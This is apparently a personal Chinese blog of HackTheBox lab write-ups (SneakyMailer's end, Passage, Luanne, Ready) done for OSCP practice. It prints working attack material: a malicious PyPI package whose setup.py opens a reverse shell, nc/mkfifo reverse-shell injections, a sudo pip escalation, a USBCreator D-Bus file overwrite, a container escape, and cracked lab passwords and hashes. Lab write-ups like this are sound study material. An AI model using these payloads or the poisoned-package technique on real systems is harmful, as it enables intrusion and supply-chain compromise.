然后就是venv venv就只是个虚拟环境的配置里面只有些基础文件这个不是很重要我在思考接下来的步骤

这是group里面的内容其中pypi-pkg组里面存有pypi用户

pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

那目标就很明确了提权到pypi然后去看看packages目录

https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1

一开始不知道怎么爆破知道这个博客给了我启发

仅仅只需要指定这个文件即可不需要多余操作最终爆破了出来

soufianeelhaoui

跟预料当中的一样 pypi设置的nologin 所以我并不能去su

存在家目录的两个用户也无法去su 密码错误 ftp也无法登录pypi

找到了pypi的网站在8080端口加了个hosts就能访问了

它提示了pypiserver的版本为1.3.2 并且在simple那里是可以进行登陆的只是里面没东西罢了

也就是说pypi就是上传和维护python包的但是为什么我使用的时候完全没有他说的这些选项呢如果不是框架方面的漏洞那么如果能上传一些恶意包然后我们当前也不能加环境变量当有用户来引用这个包的时候就会导致RCE

目前完全没有其他想法了只能理解为这里要配合其他漏洞

在搜索时发现low这个家用户里存在venv虚拟环境加上我们可以pip安装包这里有了一个想法就是pspy32先看看是否有定时任务而且是python的定时任务如果存在就安装恶意包然后就能提权

最终我构造好了一个包并且成功上传了上去期间参考了很多博客关键的博客是下面这两个

https://blog.csdn.net/zjshui/article/details/107973601 如何上传私有仓库

https://monsoir.github.io/Notes/Python/upload-pypi.html 如何构造python包

这里放一下我的文件吧

1
2
3
4
5
6
7


.
├── README.md
├── jsonizer
│ ├── __init__.py
│ ├── jsonize.py
├── LICENSE.txt
└── setup.py

目录结构就是上面那个是我抄github上一个项目的给自己的项目取一个名称就行

我取的名称为Reverse-Shell-1.1.1

所以这里就创建一个Reverse-Shell-1.1.1目录就行

创建完里面肯定是啥都没有的先进这个目录按照要求就在Reverse-Shell-1.1.1目录里创建README.md LICENSE.txt这两个空文件

接着创建jsonizer目录进入jsonizer目录创建两个文件__init__.py和jsonize.py init.py为空白就行 jsonize.py也可以为空白但是我还是随便写了个print

1
2
3
4
5
6


.
├── README.md
├── jsonizer
│ ├── __init__.py
│ ├── jsonize.py
├── LICENSE.txt

目前结构如上就差一个setup.py文件了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24


from setuptools import setup, find_packages

setup(
 name='Reverse-Shell',
 version='1.1.1',
 keywords=['Safari', 'Bookmarks', 'JSON', 'Monsoir'],
 description='transform Safari bookmarks export to JSON file',
 license='MIT License',

 url='https://github.com/Monsoir/safari-bookmarks-jsonizer',
 author='Monsoir',
 author_email='monwingyeung@gmail.com',

 packages=find_packages(),
 include_package_data=False,
 platforms=["any"],
 install_requires=['beautifulsoup4'],
 python_requires='>3.0',
 entry_points={
 'console_scripts': [
 'jsonize = jsonizer.jsonize:main',
 ]
 }
)

这样算完了其实jsonizer目录貌似都不需要就算需要的话最多也只要个构造函数的py空文件至少目前上面的这个包能被识别就先不管了执行下面的代码

1

python setup.py sdist

他会在当前目录下生成一个dist新目录里面就有个打包好的 tar.gz文件接着用下面的命令就能上传上去了

最后一个参数就是代表的吧dist目录下面的文件传上去的意思

python -m twine upload –repository-url http://pypi.sneakycorp.htb:8080/ dist/*

但是上传上去之后很快就消失了

还记得之前我上传的pspy32吗他一直在另一个端口运行

找到了关键点这个low用户会执行tar解压然后直接python去运行目录里setup.py安装后面再卸载主要是为了去测试这个包怪不得这个用户家目录存在很多包还有venv虚拟环境

根据理解我们将setup.py 改成反弹shell的代码其实就能弹回来了

这里思路已经非常清晰了将dist目录里的 tar包解开

修改 setup.py 在开头加上python弹shell的代码

1
2
3
4
5
6
7


import socket
import subprocess
import pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.16.19", 6789))
s_dup = s.fileno()
subprocess.call(["/bin/sh"], stdin=s_dup, stdout=s_dup, stderr=s_dup)

然后重新打包上传就行

拿到了shell 开始接着提权

sudo -l 给了个命令直接去搜就行

1
2
3
4
5
6


Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

根据下面的方法直接提权到了root

结束！

我只能说这是我做过到目前为止最难的靶场没有之一仿佛经历了一场考试这个靶场加上我休息我做了20个小时左右头脑发昏期间看了两次wp 第一个在于我不清楚给其他邮箱发链接能够直接钓鱼拿到信息这是我万万没想到的但实际上它提示了很多很多第二个就是dev这个子域名确实是自己的问题后续在打每个靶场之前会爆破子域名

学到了很多东西期间一直在进行google 很多事情其实多问问chatgpt更有思路但是oscp不允许去问所以我搜了非常多的博客

这个靶场里面有imap服务这是我没接触过的安装了很多软件都不行一直卡死最后终于找到了能用的软件其次就是pypi 第一次接触这个难免会学很久大部分时间也用于学习了pypi 在这个靶场里面收益良多已经能感觉到越来越吃力了

hackthebox linux的2022年作为oscp的靶场总共有50个目前已经完成了27个结束了之后就进行windows靶场然后2022年的做完就去做最新的靶场接着就是oscplabs了

28.Passage

信息收集：

22端口没东西但是80端口只要进行暴力破解马上就会被封

http://10.10.10.206/index.php?id=11

这篇文章介绍了

过度访问会被拦截两分钟

像目录爆破什么都无法使用了目前有两个思路

一是对这个网站进行缓慢爆破但是得用cewl生成的字典来跑

二是对http://10.10.10.206/index.php?id=11 测试sql注入

cewl http://10.10.10.206/index.php -w dict.txt

ffuf -w ./dict.txt -u http://10.10.10.206/FUZZ -t 1

防止被ban 线程设置为1

在发现要被ban之前用目录爆破发现了 new.php

现在把主页的cewl之后测试出来有一个CuteNews 他还有11个博客得挨个爬取爆破目录

域名

这里再开一个页面用来爆破子域名

同时上面这个页面让我们知道了版本 CuteNews 2.1.2

找了最后一个exp

简单看了一下运行逻辑

注册完然后打payload就行而我们需要做的只是运行然后输入url即可非常简单

我从来没想到过这么简单

谈了个shell回来

开始提权

这些配置文件没有任何东西尝试去google搜一下数据库配置文件在哪

https://www.drupal.org/forum/support/post-installation/2006-02-03/make-cutenews-data-to-mysql

实际上我找到了这两个文件但是他们啥都没有

linenum发现了很多东西

可以看到是root启动的

不管怎么样先把这些跑出来吧

1
2
3
4


/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/file/.htpasswd
username:$apr1$uUMsOjCQ$.BzXClI/B/vZKddgIAJCR.			#foo
/usr/lib/python3/dist-packages/fail2ban/tests/files/config/apache-auth/basic/authz_owner/.htpasswd
username:$apr1$1f5oQUl4$21lLXSN7xQOPtNsj5s4Nk/			#password

只跑出来了两个

根据介绍其他的几个hash貌似不是用来跑的而是和网站特定元素结合之后生成新的hash来当作凭证

这里先放弃了我还是把目标放回网站因为在我搜的时候一直提示

它以平面文件作为存储我搜的所有的博客都是这个说法他没有数据库全是以txt等文件来存储的但很明显我们利用那个exp的时候他是创建了用户的但是我们并没有在刚刚提到的两个文件里找到用户很不现实

搜txt文件的时候发现了两个users.txt

可惜的是这两个文件也没啥东西后续翻目录发现了一个重要信息

/var/www/html/CuteNews/cdata/users/lines

写了个脚本跑出来了结果

b’a:1:{s:5:“email”;a:1:{s:16:“paul@passage.htb”;s:10:“paul-coles”;}}’ b’a:1:{s:2:“id”;a:1:{i:1598829833;s:6:“egre55”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“egre55@test.com”;s:6:“egre55”;}}' b’a:1:{s:4:“name”;a:1:{s:5:“admin”;a:8:{s:2:“id”;s:10:“1592483047”;s:4:“name”;s:5:“admin”;s:3:“acl”;s:1:“1”;s:5:“email”;s:17:“nadav@passage.htb”;s:4:“pass”;s:64:“7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1”;s:3:“lts”;s:10:“1592487988”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483281;s:9:“sid-meier”;}}' b’a:1:{s:5:“email”;a:1:{s:17:“nadav@passage.htb”;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“kim@example.com”;s:9:“kim-swift”;}}' b’a:1:{s:2:“id”;a:1:{i:1592483236;s:10:“paul-coles”;}}' b’a:1:{s:4:“name”;a:1:{s:9:“sid-meier”;a:9:{s:2:“id”;s:10:“1592483281”;s:4:“name”;s:9:“sid-meier”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“sid@example.com”;s:4:“nick”;s:9:“Sid Meier”;s:4:“pass”;s:64:“4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88”;s:3:“lts”;s:10:“1592485645”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:2:“id”;a:1:{i:1592483047;s:5:“admin”;}}' b’a:1:{s:5:“email”;a:1:{s:15:“sid@example.com”;s:9:“sid-meier”;}}' b’a:1:{s:4:“name”;a:1:{s:10:“paul-coles”;a:9:{s:2:“id”;s:10:“1592483236”;s:4:“name”;s:10:“paul-coles”;s:3:“acl”;s:1:“2”;s:5:“email”;s:16:“paul@passage.htb”;s:4:“nick”;s:10:“Paul Coles”;s:4:“pass”;s:64:“e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd”;s:3:“lts”;s:10:“1592485556”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“2”;}}}' b’a:1:{s:4:“name”;a:1:{s:9:“kim-swift”;a:9:{s:2:“id”;s:10:“1592483309”;s:4:“name”;s:9:“kim-swift”;s:3:“acl”;s:1:“3”;s:5:“email”;s:15:“kim@example.com”;s:4:“nick”;s:9:“Kim Swift”;s:4:“pass”;s:64:“f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca”;s:3:“lts”;s:10:“1592487096”;s:3:“ban”;s:1:“0”;s:3:“cnt”;s:1:“3”;}}}' b’a:1:{s:4:“name”;a:1:{s:6:“egre55”;a:11:{s:2:“id”;s:10:“1598829833”;s:4:“name”;s:6:“egre55”;s:3:“acl”;s:1:“4”;s:5:“email”;s:15:“egre55@test.com”;s:4:“nick”;s:6:“egre55”;s:4:“pass”;s:64:“4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc”;s:4:“more”;s:60:“YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:“lts”;s:10:“1598834079”;s:3:“ban”;s:1:“0”;s:6:“avatar”;s:26:“avatar_egre55_spwvgujw.php”;s:6:“e-hide”;s:0:”";}}}' b’a:1:{s:2:“id”;a:1:{i:1592483309;s:9:“kim-swift”;}}'

整理一下吧

nadav@passage.htb 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1

sid@example.com 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88

paul@passage.htb e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd

kim@example.com f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca

egre55@test.com 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

paul@passage.htb的密码为atlanta1

egre55@test.com的密码为egre55

其他得rockyou没跑出来在线网站也没有

成功提权到paul

.ssh目录下有paul的私钥提取出来准备连ssh

但是在看公钥的时候发现了末尾用户不是paul？

应该用的是同一对公私钥

开始接着提权

find / -group dip -not -path “/proc/*” 2>/dev/null

没找到太多用户组的东西

值得注意的是 nadav被赋予了sudo组也就是他可以执行sudo 他跟paul不一样

而执行sudo -l 是需要密码的所以目前的思路就是去找密码全都翻完了完全没有发现密码

开始找suid 发现了一个没见过的东西

/bin/ntfs-3g 找提权看看

报错看看是咋回事

主要是最后两个地方报错后续接着找漏洞找到了一个写的很好的博客

https://xz.aliyun.com/t/242?u_atoken=63a64819ab3b94f46e0bdb9298475dca&u_asig=0a472f9117302920303012094e00b0

它提示说我们应该用

https://www.exploit-db.com/exploits/41356

https://project-zero.issues.chromium.org/issues/42450079

这两个当中其中一个的exp 这是正确的我两个都用了但结果都是

这一条路显然不行

后续没有任何思路了还是翻一下家目录把一开始只顾着翻密码没注意到这个

这个不算是常规的配置文件开始搜相关漏洞

https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

这个网站最下面介绍了使用方法可能是我的搜索方法有问题我只找到这一篇介绍了使用方法的在最下面

有命令之后 google命令 “gdbus call –system –dest com.ubuntu.USBCreator”

接着找到了这个网站

https://kashz.gitbook.io/kashz-jewels/services/usbcreator

这个网站的命令很详细拼接命令

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/root/root.txt’ ‘/tmp/1111.txt’ true

拿到了flag 但还是提权把既然就能写任意文件

gdbus call –system –dest com.ubuntu.USBCreator –object-path /com/ubuntu/USBCreator –method com.ubuntu.USBCreator.Image ‘/home/nadav/.ssh/authorized_keys’ ‘/root/.ssh/authorized_keys’ true

结束

这个靶场与以往不是很相同后续的靶场我能感觉到提权的方式都很不一样越来越多样化了只能说多打把

29.Luanne

信息收集:

http://10.10.10.218/ 要登陆先对他进行爆破把

访问404 接着爆破把

访问了一下发现是一个天气接口而且后端是用lua写的

参考了几篇文章这个后端是lua写的这里可能存在命令注入

https://www.stackhawk.com/blog/lua-command-injection-examples-and-prevention/

https://gtfobins.github.io/gtfobins/lua/

而这里我们操作的时候发现并不能直接执行命令他只会把你输入的传出来当输入’单引号的时候他会报错输入其他的大部分情况都不会报错

查了下这个语言的文档可能就是这样写的用’号闭合然后在使用 ‘; 就能执行其他命令因为这里输出的也只是字符串当把前面闭合之后就能在后面拼接命令了

但是实际上并不行在尝试其他的应该是闭合方式有问题而且这种命令注入还需要把后面注释了不要让后面的影响前面我们的代码

最后找了很久成功找到了闭合方法首先’肯定是没问题的不然他不会报错其次就是光一个’不行我后续尝试了很多在 ‘) 尝试成功了

http://10.10.10.218//weather/forecast?city=%27)os.execute(%22id%22)–+os.execute(%22id%22)–+)

后续尝试了非常多的次数用来反弹shell 一直不行 nc可以但是建立不了shell连接

我怀疑可能是shell不对尝试了下输出出来当前用户是/bin/sh的shell 但就是弹不出来就先不弹了先看看其他文件把

当前目录下有 .htpasswd

解出来为webapi_user:iamthebest

22端口还是不行

9001也不行

并不存在/etc/passwd 说明他就是一个网站的账户突然想起来80端口还存在一个登陆页面

结果跟刚刚是一个东西没啥区别

入口点已经没多少了一个弹不回来shell的url 和一个9001不知道是啥的网站

lua反弹也缺少库

‘) os.execute(“rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.21 6666 >/tmp/f”) –+

http://10.10.10.218//weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%32%31%20%36%36%36%36%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b

最后才成功这个太扯淡了 sh没有全局变量得手动索引其次好像是因为bp的url编码会多一个回车？还是怎么回事

一直不行搞得跟玄学一样

插一嘴刚开始看到评分的时候我就有种不好的预感

开始提权

拿不到tty

做了很多提权的动作但貌似有很多东西都没有搜了一下NetBSD 9.0

命令和常规的linux命令貌似有点不同

本地3000和3001端口正在监听

这个鉴权好办上面有个账号和密码在weather接口是能登陆的这个鉴权方式见过太多了典型的就是tomcat

curl http://127.0.0.1:3000 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

curl http://127.0.0.1:3001 -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

3000和3001貌似是同一个东西

此时有个想法这两个东西是一样的但是开启的用户会不会不一样 bsd命令确实没了解过只能尽可能google去寻找 “bsd如何看端口是谁开启的”

都有还是试一下吧反正exp都有

curl “http://127.0.0.1:3000/weather/forecast?city=%27%29%20%6f%73%2e%65%78%65%63%75%74%65%28%22%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%34%20%39%39%39%39%20%3e%2f%74%6d%70%2f%66%22%29%20%2d%2d%2b” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

3000端口没问题能弹shell 3001倒是不行

试了很多方法就是无法找到pid和port对应的关系

netstat -an

sockstat -4l

这两个都不行但是目前也没其他方法了

到这一步真的做不动了唯一的办法就是搭隧道来测试服务但是看起来貌似不会那样

实在是没办法了看了眼wp

它提示说 r.michaels 目录可以从网站访问到的？貌似是个备份服务

这个完全想不到可能是我的操作有问题完全找不到3001是否对应r.michaels用户

而他们是通过目录爆破获取的如果我爆破的话我的字典肯定不会有这些我也并不会去找home passwd 这些特征的文件来做字典有点不科学可能还是命令有问题等结束了问问gpt 看看能否去找端口进程对应用户文件

curl “http://127.0.0.1:3001/~r.michaels/id_rsa” -H “Authorization: Basic d2ViYXBpX3VzZXI6aWFtdGhlYmVzdA==”

找到了

非常奇怪按照他的意思 ~穿越到了r.michaels目录只需要当前用户权限为r.michaels或者users组又或者root权限我并不知道python开的服务还有这种穿越方法总之只是一个很奇怪的尝试

成功了

有一个备份文件传到了kali上 enc文件是被加密了的所以目前需要找到加解密的方式同时并看看其他目录

这里又卡住了完全解不开看情况得看加密类型还得找密钥完全找不到密钥在哪还是去看了wp

一个命令就能解决

netpgp –decrypt devel_backup-2020-09-16.tar.gz.enc –output=/tmp/raj.tar.gz

tar -xvf /tmp/raj.tar.gz

里面还有个 devel-2020-09-16/www/.htpasswd

解开如下

littlebear

su无法切换用户还是卡住了

结束了

2.5分是有原因我不清楚这些是netbsd的特性还是什么总之用的非常难受跟我之前了解的命令完全不一样 getshell的方法也千奇百怪算是一个扩展面吧但是做的非常难受这是最难受的一个靶场了

最后找了下之前的疑问点还是有方法的

ps aux | grep httpd

当时没注意ps 因为这个linux上啥命令都没有啥都不一样

能看得出来3001就是r.michaels启动的

30.Time

评分有点低暂时空着

31.Ready

信息收集：

http://10.10.10.220:5080/dude/ready-channel

注册进来之后只有一个项目

看了很久貌似有点偏离了这个项目虽然在但是我使用

grep -r ‘password’ ./

grep -r ‘username’ ./

并没有找到信息泄露 ssh的密钥也没有

google找到了查看版本的方法

还是有漏洞的

但是这两个貌似利用失败了我去github上找了一个脚本

https://github.com/dotPY-hax/gitlab_RCE/blob/main/gitlab_rce.py

这个没问题利用成功

开始提权

根目录有个root_pass 但是没什么用

YG65407Bjqvv9A0a8Tm_7w

linenum告诉我们在docker容器中试了其他方法也告诉我们在docker容器中这里我觉得应该就是走docker逃逸了

试了很多方法但都告诉我当前不是root权限无法操作所以第一步还是提权root

翻到了docker的配置文件同时也有gitlab的配置文件

挨个执行 cat gitlab.rb | grep passw

最后在gitlab.rb找到了一个密码

切换root成功

wW59U!ZKMbG9+*#h

特权模式 docker逃逸可以直接解决

我在gitlab权限的时候测试过但是因为权限不够不让挂载而失败目前是可以使用的

运行 fdisk -l 得到结果如下

看了一下 filesystem貌似就是物理机的硬盘将他挂载到/tmp下的test目录就行

mkdir /tmp/test && mount /dev/sda2 /tmp/test

主要是参考这篇博客

https://xz.aliyun.com/t/12495

挂在下来直接访问就行拿到了flag 但是还是拿下root权限吧

但是发现无法往计划任务目录写入数据提示内存不够 /tmp/test/var/spool/cron/root

100%了删可以但是写不行接着google看看吧

删了一堆东西还是不行提示满了

在 /tmp/test/var/spool/cron/crontabs 下面自带一个root的定时任务这个里面是可以写入的在后面追加或者覆盖但是我追加和覆盖之后还是弹不回来也可以去root文件夹下写个公钥也可以但是重启靶场之后 gitlab坏掉了短时间内也不让重启第二次可能就是因为我把/tmp/test/var/spool/cron/crontabs/root 这个定时任务给他覆盖了里面原来是gitlab的定时任务现在定时任务没了重启靶场还是坏的这个重启机制还是有点离谱的

过了段时间又重启了下好了

看到了私钥用私钥去连

结束这个靶场虽然难度为中但实际上我感觉并不是很难相比之前第29个靶场luanne 它定义为简单但实际上非常难

而且评分也不错作为扩展的部分非常好